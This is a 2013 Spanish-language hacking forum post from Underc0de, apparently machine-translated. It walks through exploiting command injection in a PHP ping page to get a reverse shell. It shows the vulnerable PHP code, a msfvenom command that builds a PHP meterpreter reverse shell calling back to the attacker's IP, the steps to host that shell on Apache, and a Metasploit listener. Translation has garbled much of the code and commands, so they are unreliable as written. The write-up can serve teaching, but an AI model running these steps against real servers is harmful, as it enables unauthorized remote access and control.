Underc0de

[In]Seguridad Informática => Hacking => Mensaje iniciado por: ZanGetsu en Abril 01, 2013, 02:09:05 AM

Título: Command-injection-to-shell
Publicado por: ZanGetsu en Abril 01, 2013, 02:09:05 AM
Introducción

Descripción

En este tutorial, aprenderás cómo tomar el control de un servidor que es vulnerable a una vulnerabilidad de inyección de comandos.
Medio ambiente

El siguiente tutorial ha sido probado en el siguiente entorno:
atacante:
Dirección IP: 192.168.1.43
Distribución: BackTrack 5 R3
objetivo
Dirección IP: 192.168.1.16
Distribución: Debian 6
Ejemplo

Código

<html>
<head>
<title> ping host </ title>
</ Head>
<body>
<form method="get" action="">
  <input type="text" /> name="host"
  <input type="submit" value="ping host" />
</ Form>
<? Php
if (isset ($ _GET ['host'])) {
  $ Salida = shell_exec ("ping-c1" $ _GET ['host'].);
  echo "<pre> $ salida </ pre>";
}
?>
</ Body>
</ Html>

El uso normal

En el uso normal, esta aplicación se supone para generar el resultado del comando ping contra un host solicitado:
(http://www.aldeid.com/w/images/0/0e/Cmd-injection.png)
Vulnerabilidad
(http://www.aldeid.com/w/images/8/8f/Command-injection-2.png)
Este código es vulnerable, ya que no desinfectar las entradas del usuario. Es posible inyectar otros comandos:

Explotación

Crear shell con msfvenom
Vamos a aprovechar esta vulnerabilidad para descargar un shell inversa PHP. Pero en primer lugar crear el shell con msfvenom :
root @ bt: ~ # msfvenom-p php / meterpreter / reverse_tcp-f lhost prima = 192.168.1.43 lport = 4050> / var / www / shell.txt
root @ bt: ~ # cabeza / var / www / shell.txt
# <? Php

error_reporting (0);
# El controlador de carga sobrescribirá con el lhost correcto antes de enviar
# A la víctima.
$ Ip = '192 .168.1.43 ';
$ Port = 4050;
$ Ipf = AF_INET;

si (== FALSE strpos ($ ip,! ":")) {
Como se puede ver, la primera línea está comentada. Vamos a quitar el comentario:
root @ bt: ~ # sed-i '¡¯ s / # <php / <php /' / var / www / shell.txt
Iniciar servidor web en la máquina del atacante
Aunque sería posible alojar nuestro shell PHP en una tercera parte, es conveniente en nuestro tutorial de ser el anfitrión de la máquina del atacante directamente. Vamos a comenzar nuestro servidor web:
root @ bt: ~ # servicio apache2 inicio
* Inicio del servidor web apache2 [OK]
Comience escuchando en el puerto 4050 de la máquina del atacante
De BT5, abramos nuestro oyente:
root @ bt: ~ # msfconsole
msf> use multi / handler
exploit msf (manejador)> set payload php / meterpreter / reverse_tcp
msf exploit (manejador)> set lhost 192.168.1.43
msf exploit (manejador)> set lport 4050
msf exploit (manejador )> explotar

Título: Re:Command-injection-to-shell
Publicado por: [3V1L] en Abril 01, 2013, 03:08:32 AM
Buen aporte, note que el code es apueba de lammers! XD
Título: Re:Command-injection-to-shell
Publicado por: ZanGetsu en Abril 01, 2013, 03:11:11 AM
cierto, xd